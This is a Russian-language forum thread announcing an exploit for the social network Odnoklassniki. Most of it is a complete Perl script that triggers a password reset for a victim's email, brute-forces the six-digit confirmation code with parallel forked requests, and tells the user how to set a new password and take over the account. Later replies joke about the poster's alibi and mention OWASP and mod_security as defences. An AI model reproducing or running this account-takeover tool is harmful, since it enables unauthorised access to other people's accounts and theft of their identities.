Перейти к содержанию

Эксплоит для "одноклассников"


Рекомендуемые сообщения

Раздача сплоита для "одноклассников" будет на irc канале #rst сети dalnet.ru в 15-00 по Москве. Кто опоздает - смотрите позже на сайтах тех, кто успел =).

P.S. Это не я, точно! :о))

Ссылка на комментарий
Поделиться на другие сайты

  • Ответов 11
  • Создана
  • Последний ответ
#!/usr/bin/perl
use LWP::UserAgent;

print qq(
   ,__                    __,                       
   \\ \\                    / /                     
    \\ \\     __      _    / /                      
       \\  .___/\\:::* /\\ /                         
          |_____\\  |/  \\                         
         /<>//,./      /       _________                             
        /      /      /  \\    |  RST                 
       /      /.,\\\\<>/\\   \\   |   GHC                       
       \\      \\    /'  \\  /   |    UKT
        \\      \\  /     \\     |__\\xD____                         
         \\      \\/      /                           
       /  '''\\'''      /                               
    / /       \\   \\   / \\ \\                         
   / /         ___ \\ /   \\ \\                       
   *__                    __*
               [preved odnoklassne4gi]
                 
);



if (!scalar(@ARGV)) {
    print "\[~\]Usage : ./$0 eMail {number of child procs}\n\n";
    exit();
}
if (-e "success") {
    print "\[-\] File \"success\" exists in your directory. Please rename it or remove.\n\n";
    exit();    
}

my $email="$ARGV[0]";

if ($ARGV[1]) {
    my $MAX_PROCESSES=$ARGV[1];
} else {
    my $MAX_PROCESSES=5;
}
my $DEBUG=0;

my @pids;
my $npids=0;
my $restore=0;
my $e;

# first step - omg! I lost my password?!?!?!
$ua=LWP::UserAgent->new();
$page=$ua->post("http://odnoklassniki.ru/cdk/st.cmd/password/tkn/6544",["st.email"=>$email,"st.posted"=>"set"]);
$page_content=$page->content();
if ($page_content=~/st.email/) {
    print "\[-\] Please provide correct email address\n";
    exit();
} else {
    print "\[+\] Repair password code send to $email\n";
}

# step number two - bruteforce code for repair password
print "\[~\] Brutforce code for repair password\
This process make take max ~ 18 hours to check all combinations\
You need good internet channel and fast cpu\n";
open(LOG_FILE,">>log");
$not=1;
for ($code=100000;$code<=999999;$code++) {
    if (-e "success") {
        print "DONE";
        exit();
    }
    if ($code==199999 && $not==1) {
        $cod="099999";
        $not=0;
        $code=100000;
    } elsif ($code=~/^1(\d+)$/ && $not==1) {
        $code=~/^1(\d+)$/;
        $cod="0$1";
    } else {
        $cod=$code;
    }
    if ($cod=~/^(\d+)000$/) {
        print "#";
    }

    my $pid;
    $pid=fork();
    if($pid>0){
     push(@pids,$pid);
     $npids++;
     if($npids>=$MAX_PROCESSES){
         for(1..($MAX_PROCESSES)){
          $wait_ret=wait();
          if($wait_ret>0){
                    $npids--;
                }
            }
        }
        next;
    }elsif(undef $pid){
        print "fork error\n" if ($DEBUG);
        exit(0);
    }
    $p=$ua->post("http://www.odnoklassniki.ru/dk",["st.cmd"=>"passwordReset","st.email"=>$email,"st.confirmation-code"=>$cod,"st.posted"=>"set"]);
    $con=$p->content();
    if ($con=~/password.confirmation/) {
        print "$cod cached\n";
        print LOG_FILE "$cod cached\n";
        open(SUCCESS,">>success");
        print SUCCESS "\n############################\n";
        print SUCCESS "Yahooo! Congratulations! Code for password repair is - $cod\n";
        print SUCCESS "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
        print SUCCESS "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
        print SUCCESS "############################\n";
        print "############################\n";
        print "Yahooo! Congratulations! Code for password repair is - $cod\n";
        print "Go to http://www.odnoklassniki.ru//dk?st.cmd=passwordReset\n";
        print "Type your email ($email), your repair code ($cod) and set new password for your account.\n";
        print "############################\n";
        close(SUCCESS);
    } else {
        print LOG_FILE "$cod failed\n";
    }
    exit();
}
close(LOG_FILE);

Ссылка на комментарий
Поделиться на другие сайты

Уважаемый Loo, для отстающих расскажите - о чем речь-то? :smile2:

 

*шопотом* Уважаемый vbl, судя по тому, что мистер Лу, стал оправдываться заблаговременно, да еще так яро, он чего-то сотворил с Одноклассиками, и теперь обеспечивает себе алиби ))

Ссылка на комментарий
Поделиться на другие сайты

Мндя. :smile13: Видно, что программисты не читали руководства OWASP... :smile2:

 

Защититься от этого проще простого всего лишь с помощью нескольких правил mod_security :smile1:

 

 

Ссылка на комментарий
Поделиться на другие сайты

Заархивировано

Эта тема находится в архиве и закрыта для дальнейших ответов.


×
×
  • Создать...